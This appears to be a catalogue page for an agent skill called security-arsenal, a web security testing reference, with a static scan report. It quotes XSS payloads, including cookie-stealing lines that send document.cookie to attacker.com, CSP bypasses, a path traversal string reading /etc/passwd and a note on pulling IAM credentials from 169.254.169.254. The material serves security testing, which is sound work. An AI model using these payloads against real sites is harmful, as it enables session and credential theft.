security-arsenal

security-arsenal is a skill for Claude Code, Codex from adriannoes/awesome-agentic-ai. It costs 103 tokens per session (7,949 once invoked), scanned B, a copy of security-arsenal, MIT.

A reference guide for security testing, with example inputs, bypass ideas, wordlists, and rules for deciding whether a finding is valid. It covers issues such as XSS, SSRF, SQL injection, and command injection.

In plain words
What is it for?
Use it to choose test inputs, investigate filter and protection bypasses, recognize useful pattern names, and check whether a suspected vulnerability is ready to report.
Why use it?
It saves time when you need a tested starting point for checking common web security weaknesses. It also helps avoid submitting findings that do not meet the stated validation rules.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is ../../../etc/passwd.

Good fit Use it to choose test inputs, investigate filter and protection bypasses, recognize useful pattern names, and check whether a suspected vulnerability is ready to report.

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

security-arsenal scanned grade B with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

One request to 169.254.169.254 can return temporary IAM credentials.

XSS PAYLOADS

Basic Probes

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

Cookie Theft (proof of impact)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

CSP Bypass Techniques

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI

It adds 103 tokens to every session and 7,949 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 4 findings (sends data to an external url, cloud metadata endpoint, makes network calls). It is 89% identical to security-arsenal, differing in 51 lines, and is treated as a copy.
